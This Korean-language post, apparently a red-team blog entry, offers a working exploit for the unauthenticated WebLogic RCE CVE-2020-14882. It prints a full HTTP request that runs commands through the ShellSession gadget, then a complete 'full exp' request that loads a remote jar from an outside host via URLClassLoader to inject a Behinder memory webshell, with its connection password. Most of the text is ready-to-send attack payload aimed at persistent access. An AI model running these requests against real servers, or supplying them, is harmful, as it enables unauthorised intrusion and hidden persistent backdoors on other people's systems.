
CVE-2020-14882(WebLogic 비인증 RCE)용 익스플로잇으로, URLClassLoader 및 ShellSession 가젯을 통한 메모리 셸 배포를 지원하여 원격 명령 실행과 지속적 접근을 가능하게 합니다.
널리 알려져 있듯이 CVE-2020-14882는 비인증 취약점으로, 공격자는 이 취약점을 이용해 영향을 받는 WebLogic Server에서 임의 코드를 실행할 수 있습니다. 공개된 POC는 비정상 문자를 통해 접근을 우회한 다음 Gadget을 호출하여 명령을 실행합니다. 실제 운영 환경과 레드팀 공격에서는 단순히 명령을 실행하는 것만으로는 부족합니다. 이때 비인증 취약점을 통해 추가로 악용하여 메모리 셸을 배포하는 방법이 특히 중요해집니다.
취약점 분석 글은 인터넷에 이미 많이 있습니다. 핵심은 이중 인코딩 문제이며, 공개된 실행 코드 POC를 바로 살펴보겠습니다:
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')
현재 명령 실행 결과를 확인할 수 있는 버전은 WebLogic 12.2.1 이상뿐입니다. 10.3.6에는 해당 클래스가 존재하지 않기 때문입니다. 이 버전은 com.tangosol.coherence.mvel2.sh.ShellSession 가젯을 통해 임의 코드를 실행한다는 것을 알 수 있습니다. 따라서 java.net.URLClassLoader를 이용해 악성 클래스를 로드하여 메모리 셸을 주입할 수 있습니다. URLClassLoader는 ClassLoader의 구현 클래스로, 로컬에서 바이너리 파일 클래스를 로드할 수 있을 뿐만 아니라 원격에서도 클래스를 로드할 수 있습니다.
Weblogic Behinder(冰蝎) 메모리 셸
jar로 패키징하여 생성
그런 다음 com.tangosol.coherence.mvel2.sh.ShellSession 가젯을 통해 URLClassLoader를 호출하여 원격으로 로드합니다.
코드는 다음과 같습니다:
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");
전체 Exp
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Behinder 연결 비밀번호: rebeyond

참고: 기본 버전의 Behinder는 메모리 셸을 지원하지 않습니다.
참고 링크: